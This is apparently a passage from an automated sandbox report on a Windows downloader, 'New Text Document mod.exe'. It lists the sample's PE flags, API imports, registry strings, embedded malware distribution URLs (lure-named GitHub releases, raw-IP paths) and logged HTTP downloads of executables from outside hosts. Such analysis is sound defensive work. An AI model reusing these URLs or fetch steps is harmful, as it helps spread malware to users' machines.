IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "fzCgCtE.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "chrome_inject.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "crypted_guardfile.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "ZAjTMWu.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "vulkan-1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "06bK6nU.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "HCBSXXl.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE59:T5d0,Observed unmanaged function "ShowWindow" in "New Text Document mod.exe" Observed unmanaged function "GetConsoleWindow" in "New Text Document mod.exe" Observed unmanaged function "GetWindowThreadProcessId" in "server.exe" Observed unmanaged function "SetForegroundWindow" in "server.exe" Observed unmanaged function "BringWindowToTop" in "server.exe" Observed unmanaged function "AttachThreadInput" in "server.exe" Observed unmanaged function "GetCurrentThreadId" in "server.exe" Observed unmanaged function "GetForegroundWindow" in "server.exe" Observed unmanaged function "SetWindowPos" in "server.exe" Observed unmanaged function "GetThreadDesktop" in "server.exe" Observed unmanaged function "LoadLibrary" in "server.exe" Observed unmanaged function "FreeLibrary" in "server.exe" Observed unmanaged function "GetProcAddress" in "server.exe" Observed unmanaged function "QueryFullProcessImageName" in "server.exe" Observed unmanaged function "GetLastInputInfo" in "server.exe" Observed unmanaged function "SetCursorPos" in "server.exe" Observed unmanaged function "GetMessageExtraInfo" in "server.exe" Observed unmanaged function "SendInput" in "server.exe" Observed unmanaged function "SystemParametersInfo" in "server.exe" Observed unmanaged function "PostMessage" in "server.exe" Observed unmanaged function "OpenDesktop" in "server.exe" Observed unmanaged function "CloseDesktop" in "server.exe" Observed unmanaged function "EnumDesktopWindows" in "server.exe"5a:T1e04,"SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\GrpConv\MapGroups" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "Software\Microsoft\Windows" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework\policy" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00000968.00000000.272733.007E5000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00001088.00000000.271453.00E64000.00000002.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "e\Software\Cla" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "stry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\S" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandli" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowFullDomainLiterals" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "y\Machine\Software\Classes\AppID\NewTextDocumentmod.exe" in Source: 00000000-00002000.00000001.271022.01430000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00002000.00000001.271022.01430000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{F1C46D71-B791-4110-8D5C-7108F22C1010}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{F1C46D71-B791-4110-8D5C-7108F22C1010}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "e\Software\C" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F1C46D71-B791-4110-8D5C-7108F22C1010}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\Software\C" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005036.00000000.270331.59AF9000.00000002.mdmp "Y\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00005036.00000001.272250.64F80000.00000004.mdmp "Y\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005036.00000001.272250.64F80000.00000004.mdmp5b:T9f6,"ps://github.com/HackHackBoyss/crypto-aml-check/releases/download/v1.0/Software.ziphttps://github.com/Zackkung688/Split-Fiction/releases/download/lavalike/splitfiction-lavalike.ziphttps://github.com/Tuliodrx/ovh-ddos/releases/download/2.5.6/ovh-ddos-2.5.6.z" (Indicator: "github.com") "thub.com/mehedihasanfarabi10/newlaravel/releases/download/v2.0/Software.ziphttps://github.com/mehedihasanfarabi10/fortify-auth-laravel/releases/download/v2.0/Software.ziphttps://github.com/mehedihasanfarabi10/Book-E-commerce/releases/download/v2.0/Software" (Indicator: "github.com") "/github.com/whathedogding/BitPay-Crypto-Signal-Trading-Bot-Analysis-Signal-Masters-Trading-Crypto/releases/download/v2.0/Software.ziphttps://github.com/Naiahahah/musicbox/releases/download/v1.0/Release.ziphttps://github.com/JulianARPR/CoinBase-Wallet-Pytho" (Indicator: "github.com") "r/releases/download/v2.0/Software.ziphttps://github.com/Antonio12gkn71/underlayer/releases/download/v1.0/Application.ziphttps://github.com/yamenstarxtheking/sumitrmalik.io/releases/download/v1.0/Soft.ziphttps://github.com/Sundarlalji/autoimport/releases/" (Indicator: "github.com") "ps://github.com/Yunichi/livekit-voice-ai-agent-setup/releases/download/v2.0/Software.ziphttps://github.com/Dy1365/smiles2dta-demo/releases/download/v1.0/Application.ziphttps://github.com/darkskin508/thor/releases/download/v1.0/Application.ziphttps://gith" (Indicator: "github.com") "es/download/v2.0/Software.ziphttps://github.com/amoni2019/FonePaw-Screen-Recorder-Free/releases/download/v2.0/Software.ziphttps://github.com/daveyisbricked/movie-finder-react/releases/download/v1.0/Software.ziphttps://github.com/daveyisbricked/movie-find" (Indicator: "github.com") ".com/ggggddjh/Fixing-Error-0xC0000142/releases/download/v2.0/Software.ziphttps://github.com/junayed-tasnur/youtube_playlist_downloader/releases/download/v2.0/Application.ziphttps://github.com/Naiahahah/musicbox/releases/download/v2.0/Software.ziphttps://" (Indicator: "github.com") "c/refs/heads/main/payload.binhttps://github.com/AdobePdf-Reader/Pdf-Reader/raw/refs/heads/main/Pdf%20Reader.exehttp://36.88.6.203:8907/ihttp://202.152.45.93:37048/ihttp://212.70.156.70:43412/ihttp://45.115.252.130:19579/ihttps://107.180.89.159/wp-c" (Indicator: "github.com") "lient/Client.exe.ziphttp://103.174.191.145:88/maxz/update/Client/DSETUP.dll.ziphttp://87.121.112.46/nok/x86https://github.com/barrigudinha157/barrigudinha/raw/master/Rage.dllhttps://pastebin.com/raw/2d424qWNhttps://github.com/FiIes/StormFN-Launcher/r" (Indicator: "github.com")5c:T35ee,"GET /downloads/text_online/ HTTP/1.1 Host: urlhaus.abuse.ch Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 1640350 Server: Apache Strict-Transport-Security: max-age=15768000 ; includeSubDomains Expect-CT: enforce max-age=86400 Permissions-Policy: accelerometer=() ambient-light-sensor=() autoplay=() camera=() encrypted-media=() fullscreen=() geolocation=() gyroscope=() magnetometer=() microphone=() midi=() payment=() picture-in-picture=() speaker=() usb=() vr=() Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: default-src 'self' https://fonts.gstatic.com:443 https://region1.google-analytics.com:443 data:; style-src 'self' 'unsafe-inline' https://www.gstatic.com:443 https://fonts.googleapis.com:443 https://hcaptcha.com https://*.hcaptcha.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://www.gstatic.com:443 https://www.google.com/recaptcha/ https://www.googletagmanager.com:443 https://hcaptcha.com https://*.hcaptcha.com; frame-src https://www.google.com/recaptcha/ https://hcaptcha.com https://*.hcaptcha.com; img-src 'self' data: https://syndication.twitter.com:443; object-src 'none'; Cross-Origin-Opener-Policy: same-origin; report-to="default" Cross-Origin-Resource-Policy: same-site Last-Modified: Mon 10 Nov 2025 01:05:24 GMT ETag: "19079e-64333204d01b5" Cache-Control: max-age=300 Expires: Mon 10 Nov 2025 01:11:52 GMT X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-XSS-Protection: 1; mode=block Content-Type: text/plain Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Mon 10 Nov 2025 01:08:42 GMT Age: 110 X-Served-By: cache-fra-etou8220086-FRA cache-lax-kwhp1940106-LAX X-Cache: HIT HIT X-Cache-Hits: 53 4 X-Timer: S1762736923.693075 VS0 VE0 Vary: Accept-Encoding with response body ==>36383A37343A37343A37303A33613A32663A32663A33313A33383A33323A32653A33313A33323A33343A32653A33323A33353A33323A32653A33313A33373A33....... "GET /files/814870813/8aCq1Rp.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon 10 Nov 2025 01:08:43 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive with response body ==>33633A36383A37343A36643A36633A33653A30643A30613A33633A36383A36353A36313A36343A33653A33633A37343A36393A37343A36633A36353A33653A33....... "GET /files/6041505593/g67DNdL.exe HTTP/1.1" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon 10 Nov 2025 01:08:44 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive with response body ==>33633A36383A37343A36643A36633A33653A30643A30613A33633A36383A36353A36313A36343A33653A33633A37343A36393A37343A36633A36353A33653A33....... "GET /files/814870813/i81fwxp.exe HTTP/1.1" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon 10 Nov 2025 01:08:44 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive with response body ==>33633A36383A37343A36643A36633A33653A30643A30613A33633A36383A36353A36313A36343A33653A33633A37343A36393A37343A36633A36353A33653A33....... "GET /cooking.exe HTTP/1.1 Host: uploadsfre.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK keep-alive: timeout=5 max=100 content-type: application/x-msdownload last-modified: Sun 02 Nov 2025 13:01:52 GMT accept-ranges: bytes content-length: 1658880 date: Mon 10 Nov 2025 01:08:53 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /files/7453936223/lJ5IwxN.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 10 Nov 2025 01:09:11 GMT Content-Type: application/octet-stream Content-Length: 2457088 Last-Modified: Sat 08 Nov 2025 15:28:33 GMT Connection: keep-alive ETag: "690f61a1-257e00" Accept-Ranges: bytes with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /http.server/elf.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive" Response ==> HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.12.6 Date: Mon 10 Nov 2025 01:09:15 GMT Content-type: application/x-msdos-program Content-Length: 208384 Last-Modified: Wed 13 Nov 2024 12:20:49 GMT with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /http.server/sys.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive" Response ==> HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.12.6 Date: Mon 10 Nov 2025 01:09:17 GMT Content-type: application/x-msdos-program Content-Length: 208384 Last-Modified: Wed 13 Nov 2024 11:12:34 GMT with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /http.server/sup.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive" Response ==> HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.12.6 Date: Mon 10 Nov 2025 01:09:19 GMT Content-type: application/x-msdos-program Content-Length: 208384 Last-Modified: Wed 13 Nov 2024 12:57:06 GMT with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /http.server/tmp.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive" Response ==> HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.12.6 Date: Mon 10 Nov 2025 01:09:22 GMT Content-type: application/x-msdos-program Content-Length: 7168 Last-Modified: Wed 13 Nov 2024 13:06:52 GMT with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /crypted_guardfile.exe HTTP/1.1 Host: 196.251.115.22 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:24 GMT Server: Apache/2.4.65 (Debian) Last-Modified: Fri 07 Nov 2025 23:36:15 GMT ETag: "12e05c-64309a5c239c0" Accept-Ranges: bytes Content-Length: 1237084 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /files/unique5/random.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 10 Nov 2025 01:09:28 GMT Content-Type: application/octet-stream Content-Length: 1698601 Last-Modified: Sat 08 Nov 2025 13:57:38 GMT Connection: keep-alive ETag: "690f4c52-19eb29" Accept-Ranges: bytes with response body ==>34643A35613A35303A30303A30323A30303A30303A30303A30343A30303A30663A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET / HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Setup Factory 10.0 Host: dl2.tlauncher.org Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Last-Modified: Sat 05 May 2018 14:21:02 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC CF-RAY: 99c1aa2e9a6ccf0a-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Setup Factory 10.0 Host: dl2.tlauncher.org Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Last-Modified: Sat 05 May 2018 14:21:02 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC CF-RAY: 99c1aa36490ccf0a-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET /rabert.exe HTTP/1.1 Host: 194.180.49.148:8900 Connection: Keep-Alive" Response ==> HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.8.10 Date: Mon 10 Nov 2025 01:09:31 GMT Content-type: application/x-msdos-program Content-Length: 3482248 Last-Modified: Sun 02 Nov 2025 22:49:00 GMT with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /docx.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:34 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Thu 30 Oct 2025 07:39:21 GMT ETag: "4000-6425b58f2141c" Accept-Ranges: bytes Content-Length: 16384 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/octet-stream with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /check_latest_tl.php?optime=0 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Setup Factory 10.0 Host: dl2.tlauncher.org Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:35 GMT Content-Type: text/plain;charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare vary: accept-encoding Content-Description: File Transfer Cache-Control: no-store Pragma: public cf-cache-status: DYNAMIC CF-RAY: 99c1aa4bdab1f579-SJC alt-svc: h3=":443"; ma=86400 with response body ==>33323A32653A33383A33393A33393A30643A30613A33323A33373A33343A33363A33303A30643A30613A37343A37323A37353A36353A30643A30613A34643A35....... "GET /window.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:35 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Thu 30 Oct 2025 09:33:14 GMT ETag: "13800-6425cf0354900" Accept-Ranges: bytes Content-Length: 79872 Content-Type: application/octet-stream with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /windows.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:36 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Thu 30 Oct 2025 09:33:14 GMT ETag: "13a00-6425cf0397b3a" Accept-Ranges: bytes Content-Length: 80384 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/octet-stream with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /meitu.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:38 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Thu 30 Oct 2025 09:33:15 GMT ETag: "24400-6425cf03ca7bc" Accept-Ranges: bytes Content-Length: 148480 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/octet-stream with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /d/server.exe HTTP/1.1 Host: 185.208.159.182 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 01:09:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sun 12 Oct 2025 18:52:33 GMT ETag: "17fc00-640faa758fa1d" Accept-Ranges: bytes Content-Length: 1571840 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/x-msdownload with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /files/7782139129/GL0ygTD.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 10 Nov 2025 01:09:58 GMT Content-Type: application/octet-stream Content-Length: 4274463 Last-Modified: Wed 05 Nov 2025 23:37:59 GMT Connection: keep-alive ETag: "690bdfd7-41391f" Accept-Ranges: bytes with response body ==>34643A35613A35303A30303A30323A30303A30303A30303A30343A30303A30663A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /files/8434554557/06bK6nU.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 10 Nov 2025 01:10:10 GMT Content-Type: application/octet-stream Content-Length: 677376 Last-Modified: Wed 05 Nov 2025 14:07:57 GMT Connection: keep-alive ETag: "690b5a3d-a5600" Accept-Ranges: bytes with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /dva.exe HTTP/1.1 Host: 62.60.226.16:5553 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: attachment; filename=dva.exe Content-Length: 477696 Content-Type: application/x-msdownload Date: Mon 10 Nov 2025 01:10:13 GMT Etag: "1761801011.743851-477696-2662339035" Last-Modified: Thu 30 Oct 2025 05:10:11 GMT Server: waitress with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30....... "GET /x.exe HTTP/1.1 Host: 172.245.27.131 Connection: Keep-Alive" Response ==> HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.14.0 Date: Mon 10 Nov 2025 01:10:17 GMT Content-type: application/x-msdownload Content-Length: 66560 Last-Modified: Sun 02 Nov 2025 19:25:22 GMT with response body ==>34643A35613A39303A30303A30333A30303A30303A30303A30343A30303A30303A30303A66663A66663A30303A30303A62383A30303A30303A30303A30303A30.......5d:T697d,"NewTextDocumentmod.exe" loaded module "KERNEL32" at base 7ffb6c870000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "ADVAPI32.DLL" at base 7ffb6d150000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffb630e0000 "NewTextDocumentmod.exe" loaded module "SHLWAPI.DLL" at base 